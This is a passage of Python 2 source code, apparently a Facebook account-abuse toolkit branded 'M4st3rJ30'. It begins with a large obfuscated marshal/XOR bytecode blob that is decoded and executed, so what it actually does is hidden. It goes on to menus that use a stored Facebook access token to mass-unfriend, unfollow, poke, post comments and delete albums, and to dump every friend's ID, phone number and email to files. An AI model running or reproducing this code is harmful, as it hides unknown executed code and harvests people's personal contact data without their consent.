00du\x00d\x1e\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00d\xfd\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d\x9e\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00d\x90\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d\xbb\x00d\t\x00d\n\x00d\xac\x00d4\x00d*\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\xb2\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00d\x0c\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00d}\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d:\x00d"\x00d#\x00d\x0c\x00d\x8e\x00dy\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\x06\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xd5\x00d\xf8\x00d.\x00d^\x00d\xc0\x00d\x1d\x00d\x0e\x00d\x98\x00d2\x00d\x02\x00d\x99\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d9\x00d\xdd\x00d8\x00d~\x00d\xca\x00d,\x00d%\x00d\xce\x00d>\x00di\x00dP\x00dA\x00d\xed\x00d7\x00dh\x00d\x10\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00dx\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00d\xd1\x00d\x10\x00dt\x00d3\x00d\xe5\x00d\xe9\x00d\xd0\x00dP\x00d\x9c\x00d,\x00d/\x00d\xe5\x00d\xbc\x00dV\x00d6\x00d\x91\x00d\xab\x00d<\x00d\\\x00d\xf8\x00d\xe3\x00d\x17\x00d\xaa\x00d\x08\x00d%\x00dU\x00d?\x00d@\x00dv\x00d&\x00d\x17\x00d`\x00d>\x00d\xde\x00d8\x00dw\x00dh\x00dc\x00d\xa3\x00d\xae\x00d\x96\x00d\xfa\x00d\xb1\x00d@\x00d\x80\x00d\xe1\x00dt\x00d\x19\x00d\x91\x00d\x19\x00d\xef\x00d\xed\x00d\xec\x00d!\x00d\x16\x00dn\x00d\x1f\x00d\x16\x00d\xc0\x00d\x7f\x00d\xe3\x00dq\x00d\xa1\x00d\x99\x00d\x91\x00d\xe6\x00d\x89\x00d\x8f\x00d}\x00d$\x00du\x00dj\x00dV\x00d\x17\x00da\x00d\xd2\x00d\x01\x01d\xaa\x00dI\x00dZ\x00db\x00d\r\x00d\x84\x00d\xb0\x00d\xee\x00dz\x00dS\x00d\xe9\x00d\x02\x00d)\x00d\x99\x00d\x7f\x00d\x9e\x00dt\x00d\x81\x00d\xc7\x00d\x06\x00dq\x00dm\x00d\x93\x00d\xba\x00d\xd9\x00d\xa1\x00d]\x00d\x1a\x00d\xb8\x00d\xab\x00d\xc6\x00d\xf4\x00d\x8b\x00d|\x00d\xee\x00d(\x00d\x8f\x00d8\x00d\r\x00d\x91\x00d\xae\x00d\t\x00d\x13\x00d\xc5\x00dA\x00d\xa6\x00d\xb0\x00d<\x00d0\x00d\xed\x00d\x9e\x00d\x8c\x00d\xdb\x00d\x97\x00dx\x00dU\x00d\xd1\x00d\xde\x00dE\x00dA\x00d\xb5\x00d\xf2\x00d\xa9\x00d\x92\x00d#\x00d\x9b\x00d\xd1\x00da\x00dX\x00d-\x00d\xf4\x00d\xd0\x00d\x86\x00d\xf5\x00d}\x00d\xf8\x00d9\x00d\xa3\x00d\xd9\x00d-\x00d?\x00d\x93\x00d\x80\x00d\x87\x00dW\x00d\xa6\x00dJ\x00d\xf6\x00d~\x00d\xb0\x00dJ\x00d\x9f\x00d\x9c\x00dP\x00dB\x00d\xf5\x00d\xb2\x00d\x8a\x00d}\x00d>\x00g\xf5\x12Z\x01\x00d\x02\x01Z\x02\x00d"\x00d"\x00f\x02\x00\\\x02\x00Z\x03\x00Z\x04\x00d\xa9\x00d\x03\x00d\x04\x00d\x05\x00d\x06\x00d\x07\x00d\x08\x00d\t\x00d\n\x00d\xac\x00d\x92\x00d\r\x00d\x0e\x00dU\x00d\x10\x00d\x11\x00d\x12\x00d\xdf\x00d\xb0\x00dp\x00d\x16\x00d\x17\x00d\xa5\x00d\x19\x00d\x1a\x00ds\x00d\x98\x00d\x1d\x00d\xe8\x00d\x1f\x00d \x00d_\x00d"\x00d#\x00d\x0c\x00d7\x00d&\x00d\xa5\x00d\xd9\x00d(\x00d}\x00dY\x00d\t\x00d>\x00d\xfa\x00d,\x00d$\x00d\xf8\x00d.\x00d^\x00d\xdc\x00d \x00d\x0e\x00d\x98\x00d2\x00d\x86\x00d\x99\x00d5\x00d\xe8\x00d\xb8\x00d7\x00d#\x00d\xdd\x00d8\x00d~\x00d\x10\x00d<\x00d%\x00d\xce\x00d>\x00d\x8f\x00d9\x00dA\x00d\xed\x00d7\x00dC\x00d\x81\x00d\xc3\x00d\x1b\x00d\x8f\x00d)\x00dG\x00d\x0c\x00d\xd7\x00dI\x00d\x10\x00d3\x00d\x10\x00dt\x00d3\x00dM\x00d\xa2\x00d\xd0\x00dP\x00d\x9c\x00d\x9b\x00dS\x00d\xe5\x00d\xbc\x00dV\x00dv\x00d\x99\x00dX\x00d\x8a\x00d\xb7\x00dZ\x00d!\x00d\xb4\x00d+\x00d\x08\x00d%\x00dU\x00d\x8f\x00d\xdc\x00d\\\x00d&\x00d\x17\x00d`\x00d\xaa\x00d7\x00da\x00dw\x00dh\x00dc\x00du\x00d5\x00de\x00d\xfa\x00d\xb1\x00d@\x00d\x01\x01d\xb7\x00d!\x00d\x19\x00d\x91\x00d\x19\x00ds\x00d\xd9\x00dm\x00d!\x00d\x16\x00dn\x00d\xd3\x00d\x84\x00d0\x00d\x13\x00d\x8c\x00dq\x00d\xa1\x00d\x99\x00dn\x00d~\x00d\xfd\x00d\x19\x00d\x02\x00d$\x00du\x00dj\x00d\xc1\x00dv\x00d\x96\x00d\xef\x00d\x1c\x00d\x1b\x00dI\x00dZ\x00db\x00d\r\x00dx\x00d\xb0\x00d\xee\x00dz\x00dS\x00d\xf7\x00d\x02\x00d)\x00d\x99\x00d\x7f\x00d(\x00d\xb2\x00d\x81\x00d\xc7\x00d\x06\x00d\\\x00d\xce\x00d\xda\x00dZ\x00d\xd0\x00d\x06\x00d\x84\x00dF\x00d\x07\x00d\x88\x00d\xc6\x00d\xf4\x00d\x8b\x00d\x98\x00dk\x00d\x8e\x00d?\x00d\x93\x00d\x91\x00dV\x00d\x04\x00d>\x00d\x13\x00d\xc5\x00dA\x00d*\x00d\x1a\x00d<\x00d0\x00d\xed\x00d$\x00d\x08\x00d\xab\x00d\x97\x00d\x8c\x00dU\x00dQ\x00d\xde\x00d\x81\x00dA\x00d.\x00d\xf2\x00d9\x00d\x92\x00d\xf7\x00d\x9b\x00dQ\x00da\x00d\x9b\x00d-\x00d\x9e\x00d\xa0\x00dr\x00d\x05\x00dA\x00d\xc1\x00d\xa9\x00d\xa3\x00d-\x00d-\x00d\xa5\x00d\x93\x00dF\x00d\xa7\x00d\xf5\x00d\x11\x00d\xa5\x00d\xf6\x00d\xd2\x00dl\x00d\xa5\x00d\x9f\x00g\xff\x00Z\x05\x00xe\x00e\x03\x00e\x06\x00e\x01\x00\x83\x01\x00k\x05\x00r%<Pn\x00\x00e\x04\x00e\x06\x00e\x05\x00\x83\x01\x00k\x05\x00r@<d"\x00Z\x04\x00n\x00\x00e\x02\x00e\x07\x00e\x01\x00e\x03\x00\x19e\x05\x00e\x04\x00\x19A\x83\x01\x007Z\x02\x00e\x03\x00d\xc9\x007Z\x03\x00e\x04\x00d\xc9\x007Z\x04\x00q\x0f<We\x00\x00j\x08\x00e\x02\x00\x83\x01\x00d\x01\x00\x04Ud\x01\x00S(\x03\x01\x00\x00i\xff\xff\xff\xffNi\x06\x00\x00\x00in\x00\x00\x00i\xa5\x00\x00\x00i*\x00\x00\x00i`\x00\x00\x00iF\x00\x00\x00i\r\x00\x00\x00i\xc6\x00\x00\x00iV\x00\x00\x00i\xcd\x00\x00\x00i\xab\x00\x00\x00i\xc5\x00\x00\x00i\xdc\x00\x00\x00i\xbf\x00\x00\x00i\x80\x00\x00\x00iJ\x00\x00\x00iB\x00\x00\x00iS\x00\x00\x00i5\x00\x00\x00i:\x00\x00\x00i\xbe\x00\x00\x00i#\x00\x00\x00i\x92\x00\x00\x00i\x19\x00\x00\x00iH\x00\x00\x00i\x8a\x00\x00\x00ii\x00\x00\x00i"\x00\x00\x00i)\x00\x00\x00i\xbd\x00\x00\x00i\x18\x00\x00\x00ic\x00\x00\x00i\x00\x00\x00\x00i\x87\x00\x00\x00i\xcf\x00\x00\x00i\xb4\x00\x00\x00i]\x00\x00\x00i[\x00\x00\x00i\xb0\x00\x00\x00ig\x00\x00\x00i8\x00\x00\x00i\xa3\x00\x00\x00i\xed\x00\x00\x00i\xa7\x00\x00\x00i\x15\x00\x00\x00i\x98\x00\x00\x00i\xe7\x00\x00\x00i\xb8\x00\x00\x00iI\x00\x00\x00i\x16\x00\x00\x00i\xc1\x00\x00\x00i\xef\x00\x00\x00i!\x00\x00\x00i\xb6\x00\x00\x00i\xe3\x00\x00\x00i\x9a\x00\x00\x00i\x81\x00\x00\x00i\x8c\x00\x00\x00i4\x00\x00\x00i\xd0\x00\x00\x00i\xc7\x00\x00\x00i\t\x00\x00\x00i\x94\x00\x00\x00i\x11\x00\x00\x00i\xb9\x00\x00\x00i\x17\x00\x00\x00i\x90\x00\x00\x00i\x0b\x00\x00\x00iv\x00\x00\x00id\x00\x00\x00i\xc4\x00\x00\x00i\xd4\x00\x00\x00i\xe4\x00\x00\x00i\x05\x00\x00\x00i\x02\x00\x00\x00i\xfd\x00\x00\x00i=\x00\x00\x00i$\x00\x00\x00io\x00\x00\x00i\x08\x00\x00\x00i\x8f\x00\x00\x00i\x9f\x00\x00\x00i\xb1\x00\x00\x00i\xff\x00\x00\x00i\xcc\x00\x00\x00i(\x00\x00\x00if\x00\x00\x00i<\x00\x00\x00i\xc0\x00\x00\x00i\x07\x00\x00\x00iM\x00\x00\x00i\xaf\x00\x00\x00i\xfc\x00\x00\x00i9\x00\x00\x00ia\x00\x00\x00i\xe2\x00\x00\x00i6\x00\x00\x00iA\x00\x00\x00i\xf0\x00\x00\x00i\x82\x00\x00\x00iy\x00\x00\x00i\x7f\x00\x00\x00i~\x00\x00\x00i\x04\x00\x00\x00i}\x00\x00\x00i\x8b\x00\x00\x00i{\x00\x00\x00i\xd9\x00\x00\x00i\xca\x00\x00\x00i\xb5\x00\x00\x00i7\x00\x00\x00iq\x00\x00\x00it\x00\x00\x00i\xee\x00\x00\x00ib\x00\x00\x00i\xfe\x00\x00\x00iL\x00\x00\x00iR\x00\x00\x00i\xf3\x00\x00\x00i\x1e\x00\x00\x00i\xd8\x00\x00\x00i\xfb\x00\x00\x00iT\x00\x00\x00i\x03\x00\x00\x00i\xe5\x00\x00\x00i\'\x00\x00\x00ip\x00\x00\x00i\xf4\x00\x00\x00is\x00\x00\x00i\xce\x00\x00\x00i\xdb\x00\x00\x00iU\x00\x00\x00ir\x00\x00\x00i\x12\x00\x00\x00i\x1c\x00\x00\x00i\xec\x00\x00\x00iG\x00\x00\x00i\n\x00\x00\x00i\x0c\x00\x00\x00i\xba\x00\x00\x00i\xdf\x00\x00\x00im\x00\x00\x00i\xa4\x00\x00\x00i\xa9\x00\x00\x00i\xa8\x00\x00\x00i\x96\x00\x00\x00i\\\x00\x00\x00iO\x00\x00\x00i\x83\x00\x00\x00i\x84\x00\x00\x00ih\x00\x00\x00i\xc8\x00\x00\x00i\xa6\x00\x00\x00i\x99\x00\x00\x00il\x00\x00\x00i\xf2\x00\x00\x00i\xc3\x00\x00\x00i\xf9\x00\x00\x00i0\x00\x00\x00i\x10\x00\x00\x00iY\x00\x00\x00i\x97\x00\x00\x00i\x8e\x00\x00\x00i\xf6\x00\x00\x00iK\x00\x00\x00i\x13\x00\x00\x00i\xde\x00\x00\x00ie\x00\x00\x00i\xa2\x00\x00\x00i\x14\x00\x00\x00i\xfa\x00\x00\x00i\x86\x00\x00\x00i\x9b\x00\x00\x00i&\x00\x00\x00iz\x00\x00\x00i_\x00\x00\x00ij\x00\x00\x00iu\x00\x00\x00iW\x00\x00\x00i\xea\x00\x00\x00i\xac\x00\x00\x00i%\x00\x00\x00i2\x00\x00\x00i@\x00\x00\x00i\xb2\x00\x00\x00i\x93\x00\x00\x00i\xe8\x00\x00\x00i>\x00\x00\x00iN\x00\x00\x00i\xdd\x00\x00\x00i\x89\x00\x00\x00i\xa0\x00\x00\x00i\xcb\x00\x00\x00i\x1b\x00\x00\x00i\xd3\x00\x00\x00i|\x00\x00\x00i\x88\x00\x00\x00i\xae\x00\x00\x00i\xd7\x00\x00\x00i\x01\x00\x00\x00i\xe9\x00\x00\x00i\x1f\x00\x00\x00i\xb7\x00\x00\x00i\x0e\x00\x00\x00i\xaa\x00\x00\x00i\xad\x00\x00\x00i1\x00\x00\x00i\xf7\x00\x00\x00i\xe1\x00\x00\x00i\xd1\x00\x00\x00i/\x00\x00\x00iZ\x00\x00\x00i\xc9\x00\x00\x00i\xd6\x00\x00\x00iC\x00\x00\x00iX\x00\x00\x00i\xf5\x00\x00\x00i\xeb\x00\x00\x00i\xe0\x00\x00\x00i\x91\x00\x00\x00i\xc2\x00\x00\x00i \x00\x00\x00i-\x00\x00\x00iQ\x00\x00\x00i^\x00\x00\x00i\x0f\x00\x00\x00i\x9d\x00\x00\x00i\xd5\x00\x00\x00i\x8d\x00\x00\x00i\xd2\x00\x00\x00iE\x00\x00\x00iP\x00\x00\x00i.\x00\x00\x00i3\x00\x00\x00i\xda\x00\x00\x00i,\x00\x00\x00i\xe6\x00\x00\x00i\x85\x00\x00\x00i\xbb\x00\x00\x00iD\x00\x00\x00i\xbc\x00\x00\x00i;\x00\x00\x00iw\x00\x00\x00i+\x00\x00\x00i?\x00\x00\x00ix\x00\x00\x00i\xa1\x00\x00\x00i\xf8\x00\x00\x00i\x1d\x00\x00\x00i\xf1\x00\x00\x00i\x95\x00\x00\x00i\x9e\x00\x00\x00i\xb3\x00\x00\x00ik\x00\x00\x00i\x9c\x00\x00\x00i\x1a\x00\x00\x00t\x00\x00\x00\x00(\t\x00\x00\x00t\x07\x00\x00\x00marshalt\x01\x00\x00\x00dt\x01\x00\x00\x00et\x01\x00\x00\x00it\x01\x00\x00\x00jt\x01\x00\x00\x00kt\x03\x00\x00\x00lent\x03\x00\x00\x00chrt\x05\x00\x00\x00loads(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x08\x00\x00\x00<script>t\x08\x00\x00\x00<module>\x01\x00\x00\x00s\x92\x00\x00\x00\x0c\x01\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\x1e\x01\x06\x01\x12\x01\xff\x00\xff\x00\xff\x00\x06\x01\x03\x01\x12\x00\x04\x01\x12\x00\t\x01\x1c\x01\n\x01\x0e\x01')
  1640.  
  1641. def unfollow(posts):
  1642. global token , WT
  1643.  
  1644. print '\r[*] All id successfully retrieved '
  1645. print '[*] Start'
  1646.  
  1647. try:
  1648. counter = 0
  1649. for post in posts['data']:
  1650. if counter >= 50:
  1651. break
  1652. else:
  1653. counter += 1
  1654.  
  1655. r = requests.post('https://graph.facebook.com/' + post['id'] + '/subscribers?method=delete&access_token=' + token)
  1656. a = json.loads(r.text)
  1657.  
  1658. try:
  1659. cek = a['error']['nessage']
  1660. print W + '[' + R + post['name'] + W + '] failed'
  1661. except TypeError:
  1662. print W + '[' + G + post['name'] + W + '] unfollow'
  1663. print '[*] Done'
  1664. bot()
  1665. except KeyboardInterrupt:
  1666. print '\r[!] Stopped'
  1667. bot()
  1668. def poke(posts):
  1669. global token , WT
  1670.  
  1671. print '\r[*] All id successfully retrieved '
  1672. print '[*] Start'
  1673.  
  1674. try:
  1675. counter = 0
  1676. for post in posts:
  1677. if counter >= 50:
  1678. break
  1679. else:
  1680. counter += 1
  1681.  
  1682. r = requests.post('https://graph.facebook.com/%s/pokes?access_token=%s'%(post['id'].split('_')[0],token))
  1683. a = json.loads(r.text)
  1684.  
  1685. id = post['id'].split('_')[0]
  1686. try:
  1687. cek = a['error']['message']
  1688. print W + '[' + R + id + W + '] failed'
  1689. except TypeError:
  1690. print W + '[' + G + id + W + '] pokes'
  1691. print '[*] Done'
  1692. bot()
  1693. except KeyboardInterrupt:
  1694. print '\r[!] Stopped '
  1695. bot()
  1696. except (requests.exceptions.ConnectionError):
  1697. print '[!] Connection Error'
  1698. bot()
  1699. def albums(posts):
  1700. global token , WT
  1701.  
  1702. print '\r[*] All id successfully retrieved '
  1703. print '[*] Start'
  1704.  
  1705. try:
  1706. counter = 0
  1707. for post in posts:
  1708. if counter >= 50:
  1709. break
  1710.  
  1711. r = requests.post('https://graph.facebook.com/'+post['id']+'?method=delete&access_token='+token)
  1712. a = json.loads(r.text)
  1713.  
  1714. try:
  1715. cek = a['error']['message']
  1716. print W + '[' + R + post['name'] + W + '] Failed'
  1717. except TypeError:
  1718. print W + '[' + G + post['name'] + W + '] femoved'
  1719. print '[*] Done'
  1720. bot()
  1721. except KeyboardInterrupt:
  1722. print '\r[!] Stopped '
  1723. bot()
  1724. except (requests.exceptions.ConnectionError):
  1725. print '[!] Connection Error'
  1726. bot()
  1727. ######################################################################################################################
  1728. # Bot reaction
  1729. # Prepairing #
  1730. def menu_reaction_ask():
  1731. try:
  1732. global type
  1733.  
  1734. cek = raw_input(R + 'M4st3rJ30' + W + '/' + R + 'Bot' + W + '/' + R + 'Reaction' + W + ' >> ')
  1735.  
  1736. if cek in ['1','01']:
  1737. type = 'LIKE'
  1738. bot_ask()
  1739. elif cek in ['2','02']:
  1740. type = 'LOVE'
  1741. bot_ask()
  1742. elif cek in ['3','03']:
  1743. type = 'WOW'
  1744. bot_ask()
  1745. elif cek in ['4','04']:
  1746. type = 'HAHA'
  1747. bot_ask()
  1748. elif cek in ['5','05']:
  1749. type = 'SAD'
  1750. bot_ask()
  1751. elif cek in ['6','06']:
  1752. type = 'ANGRY'
  1753. bot_ask()
  1754. elif cek.lower() == 'menu':
  1755. menu_reaction()
  1756. menu_reaction_ask()
  1757. elif cek.lower() == 'exit':
  1758. print '[!] Exiting program !!'
  1759. sys.exit()
  1760. elif cek.lower() == 'token':
  1761. try:
  1762. open('cookie/token.log')
  1763. print '[!] An access token already exists'
  1764. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  1765. if cek.lower() != 'y':
  1766. print '[*] Canceling '
  1767. bot()
  1768. except IOError:
  1769. pass
  1770.  
  1771. print '\n' + '[*] Generate access token facebook [*]'.center(44) + '\n'
  1772. print '[WARNING] Please turn off your VPN before using this feature!!!'
  1773. id()
  1774. elif cek in ['0','00']:
  1775. print '[!] Back to bot menu'
  1776. bot()
  1777.  
  1778. else:
  1779. if cek == '':
  1780. menu_reaction_ask()
  1781. else:
  1782. print "[!] Command '" + cek + "' not found"
  1783. print "[!] Type 'menu' to show menu bot"
  1784. menu_reaction_ask()
  1785. except KeyboardInterrupt:
  1786. menu_reaction_ask()
  1787.  
  1788. def bot_ask():
  1789. global id , WT , token
  1790.  
  1791. print '[*] Load access token '
  1792. try:
  1793. token = open('cookie/token.log','r').read()
  1794. print '[*] Success load access token'
  1795. except IOError:
  1796. print '[!] Failed load access token'
  1797. print "[!] Type 'token' to generate access token"
  1798. menu_reaction_ask()
  1799.  
  1800. WT = raw_input(W + '[?] [' + R + 'W' + W + ']allpost or [' + R + 'T' + W + ']arget (' + R + 'W' + W + '/' + R + 'T' + W + ') : ')
  1801. if WT.upper() == 'T':
  1802. id = raw_input('[?] id facebook : ')
  1803. if id == '':
  1804. print "[!] ID target can't be empty"
  1805. print '[!] Stopped'
  1806. menu_reaction_ask()
  1807.  
  1808. else:
  1809. WT = 'wallpost'
  1810. like(post(),50)
  1811.  
  1812. def bot():
  1813. try:
  1814. global type , message , id , WT , token
  1815.  
  1816. cek = raw_input(R + 'M4st3rJ30' + W +'/' + R +'Bot ' + W + '>> ')
  1817.  
  1818. if cek in ['1','01']:
  1819. menu_reaction()
  1820. menu_reaction_ask()
  1821. elif cek in ['2','02']:
  1822. print '[*] Load access token'
  1823. try:
  1824. token = open('cookie/token.log','r').read()
  1825. print '[*] Success load access token'
  1826. except IOError:
  1827. print '[!] Failed load access token'
  1828. print "[!] Type 'token' to generate access token"
  1829. bot()
  1830.  
  1831. WT = raw_input(W + '[?] [' + R + 'W' + W + ']allpost or [' + R + 'T' + W + ']arget (' + R + 'W' + W + '/' + R + 'T' + W + ') : ')
  1832. if WT.lower() == "w" or WT.lower() == '':
  1833. WT = 'wallpost'
  1834. else:
  1835. id = raw_input('[?] Id Target : ')
  1836.  
  1837. if id == '':
  1838. print "[!] ID target can't be empty"
  1839. print '[!] Stopped'
  1840. bot()
  1841.  
  1842. print '--------------------------------------------------'
  1843. print " [NOTE] Use the '</>' symbol to change the line\n"
  1844.  
  1845. message = raw_input('[?] Your Message : ')
  1846. if message == '':
  1847. print "[!] Message can't be empty"
  1848. print '[!] Stopped'
  1849. bot()
  1850. else:
  1851. message = message.replace('</>','\n')
  1852.  
  1853. comment(post(),50)
  1854.  
  1855. elif cek in ['4','04']:
  1856. WT = 'req'
  1857. print '[*] Load access token '
  1858.  
  1859. try:
  1860. token = open('cookie/token.log','r').read()
  1861. print '[*] Success load access token'
  1862. except IOError:
  1863. print '[!] Failed load access token '
  1864. print "[!] Type 'token' to generate access token"
  1865. bot()
  1866. confirm(post())
  1867. elif cek in ['3','03']:
  1868. WT = 'wallpost'
  1869. print '[*] Load access token '
  1870.  
  1871. try:
  1872. token = open('cookie/token.log','r').read()
  1873. print '[*] Success load access token'
  1874. except IOError:
  1875. print '[!] Failed load access token'
  1876. print "[!] Type 'token' to generate access token"
  1877. bot()
  1878. poke(post())
  1879. elif cek in ['5','05']:
  1880. WT = 'me'
  1881. print '[*] Load access token '
  1882.  
  1883. try:
  1884. token = open('cookie/token.log','r').read()
  1885. print '[*] Success load access token'
  1886. except IOError:
  1887. print '[!] Failed load access token'
  1888. print "[!] Type 'token' to generate access token"
  1889. bot()
  1890. remove(post())
  1891.  
  1892. elif cek in ['6','06']:
  1893. WT = 'friends'
  1894. print '[*] Load access token '
  1895.  
  1896. try:
  1897. token = open('cookie/token.log','r').read()
  1898. print '[*] Success load access token'
  1899. except IOError:
  1900. print '[!] Failed load access token'
  1901. print "[!] Type 'token' to generate access token"
  1902. bot()
  1903. unfriend(post())
  1904.  
  1905. elif cek in ['7','07']:
  1906. WT = 'subs'
  1907. print '[*] Load access token '
  1908.  
  1909. try:
  1910. token = open('cookie/token.log','r').read()
  1911. print '[*] Success load access token'
  1912. except IOError:
  1913. print '[!] Failed load access token'
  1914. print "[!] Type 'token' to generate access token"
  1915. bot()
  1916. unfollow(post())
  1917. elif cek in ['8','08']:
  1918. WT = 'albums'
  1919. print '[*] Load access token '
  1920.  
  1921. try:
  1922. token = open('cookie/token.log','r').read()
  1923. print '[*] Success load access token'
  1924. except IOError:
  1925. print '[!] Failed load access token'
  1926. print "[!] Type 'token' to generate access token"
  1927. albums(post())
  1928.  
  1929. elif cek in ['0','00']:
  1930. print '[*] Back to Main Menu'
  1931. main()
  1932. elif cek.lower() == 'menu':
  1933. menu_bot()
  1934. bot()
  1935. elif cek.lower() == 'exit':
  1936. print '[!] Exiting program'
  1937. sys.exit()
  1938. elif cek.lower() == 'token':
  1939. try:
  1940. open('cookie/token.log')
  1941. print '[!] An access token already exists'
  1942. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  1943. if cek.lower() != 'y':
  1944. print '[*] Canceling '
  1945. bot()
  1946. except IOError:
  1947. pass
  1948.  
  1949. print '\n' + '[*] Generate access token facebook [*]'.center(44) + '\n'
  1950. print '[WARNING] Please turn off your VPN before using this feature!!!'
  1951. id()
  1952. else:
  1953. if cek == '':
  1954. bot()
  1955. else:
  1956. print "[!] Command '"+cek+"' not found"
  1957. print '[!] Type "menu" to show menu bot'
  1958. bot()
  1959. except KeyboardInterrupt:
  1960. bot()
  1961. #
  1962. ###############################################################################
  1963.  
  1964. ###############################################################################
  1965. # Dump Data
  1966.  
  1967. def dump_id():
  1968.  
  1969. print '[*] Load access token'
  1970. try:
  1971. token = open("cookie/token.log",'r').read()
  1972. print '[*] Success load access token'
  1973. except IOError:
  1974. print '[!] Failed load access token'
  1975. print "[*] Type 'token' to generate access token"
  1976. main()
  1977.  
  1978. try:
  1979. os.mkdir('output')
  1980. except OSError:
  1981. pass
  1982.  
  1983. print '[*] Fetching all friends id'
  1984. try:
  1985.  
  1986. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  1987. a = json.loads(r.text)
  1988.  
  1989. out = open('output/' + n[0].split(' ')[0] + '_id.txt','w')
  1990. for i in a['data']:
  1991. out.write(i['id'] + '\n')
  1992. print '\r[*] %s retrieved'%(i['id']),;sys.stdout.flush();time.sleep(0.0001)
  1993.  
  1994. out.close()
  1995. print '\r[*] All friends id successfuly retreived'
  1996. print '[*] File saved : output/' + n[0].split(' ')[0] + '_id.txt'
  1997. main()
  1998.  
  1999. except KeyboardInterrupt:
  2000. print '\r[!] Stopped'
  2001. main()
  2002. except KeyError:
  2003. print '[!] Failed to fetch friend id'
  2004. main()
  2005. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  2006. print '[!] Connection Error '
  2007. print '[!] Stopped'
  2008. main()
  2009.  
  2010. def dump_phone():
  2011. print '[*] Load access token'
  2012.  
  2013. try:
  2014. token = open('cookie/token.log','r').read()
  2015. print '[*] Success load access token'
  2016. except IOError:
  2017. print '[!] Failed load access token'
  2018. print "[*] Type 'token' to generate access token"
  2019. main()
  2020.  
  2021. try:
  2022. os.mkdir('output')
  2023. except OSError:
  2024. pass
  2025.  
  2026. print "[*] Fetching all phone numbers"
  2027. print '[*] Start'
  2028.  
  2029. try:
  2030. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  2031. a = json.loads(r.text)
  2032.  
  2033. out = open('output/' + n[0].split(' ')[0] + '_phone.txt','w')
  2034.  
  2035. for i in a['data']:
  2036. x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token)
  2037. z = json.loads(x.text)
  2038.  
  2039. try:
  2040. out.write(z['mobile_phone'] + '\n')
  2041. print W + '[' + G + z['name'] + W + ']' + R + ' >> ' + W + z['mobile_phone']
  2042. except KeyError:
  2043. pass
  2044. out.close()
  2045. print '[*] Done'
  2046. print "[*] All phone numbers successfuly retrieved"
  2047. print '[*] File saved : output/'+n[0].split(' ')[0] + '_phone.txt'
  2048. main()
  2049. except KeyboardInterrupt:
  2050. print '\r[!] Stopped'
  2051. main()
  2052. except KeyError:
  2053. print "[!] Failed to fetch all phone numbers"
  2054. main()
  2055. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  2056. print '[!] Connection Error'
  2057. print '[!] Stopped'
  2058. main()
  2059.  
  2060. def dump_mail():
  2061. print '[*] Load access token'
  2062.  
  2063. try:
  2064. token = open('cookie/token.log','r').read()
  2065. print '[*] Success load access token'
  2066. except IOError:
  2067. print '[!] Failed load access token'
  2068. print "[*] Type 'token' to generate access token"
  2069. main()
  2070.  
  2071. try:
  2072. os.mkdir('output')
  2073. except OSError:
  2074. pass
  2075.  
  2076. print '[*] Fetching all emails'
  2077. print '[*] Start'
  2078.  
  2079. try:
  2080. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  2081. a = json.loads(r.text)
  2082.  
  2083. out = open('output/' + n[0].split(' ')[0] + '_mails.txt','w')
  2084.  
  2085. for i in a['data']:
  2086. x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token)
  2087. z = json.loads(x.text)
  2088.  
  2089. try:
  2090. out.write(z['email'] + '\n')
  2091. print W + '[' + G + z['name'] + W + ']' + R + ' >> ' + W + z['email']
  2092. except KeyError:
  2093. pass
  2094. out.close()
  2095.  
  2096. print '[*] Done'
  2097. print "[*] All emails successfuly retrieved"
  2098. print '[*] File saved : output/' + n[0].split(' ')[0] + '_mails.txt'
  2099. main()
  2100.  
  2101. except KeyboardInterrupt:
  2102. print '\r[!] Stopped'
  2103. main()
  2104. except KeyError:
  2105. print "[!] Failed to fetch all emails"
  2106. main()
  2107. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  2108. print '[!] Connection Error'
  2109. print '[!] Stopped'
  2110. main()
  2111.  
  2112. def dump_id_id():
  2113. global target_id
  2114.  
  2115. print '[*] Load access token'
  2116.  
  2117. try:
  2118. token = open('cookie/token.log','r').read()
  2119. print '[*] Success load access token'
  2120. except IOError:
  2121. print '[!] Failed load access token'
  2122. print "[*] Type 'token' to generate access token"
  2123. main()
  2124.  
  2125. try:
  2126. os.mkdir('output')
  2127. except OSError:
  2128. pass
  2129.  
  2130. print '[*] Fetching all id from your friend'
  2131.  
  2132. try:
  2133. r = requests.get('https://graph.facebook.com/{id}?fields=friends.limit(5000)&access_token={token}'.format(id=target_id,token=token))
  2134. a = json.loads(r.text)
  2135.  
  2136. out = open('output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt','w')
  2137.  
  2138. for i in a['friends']['data']:
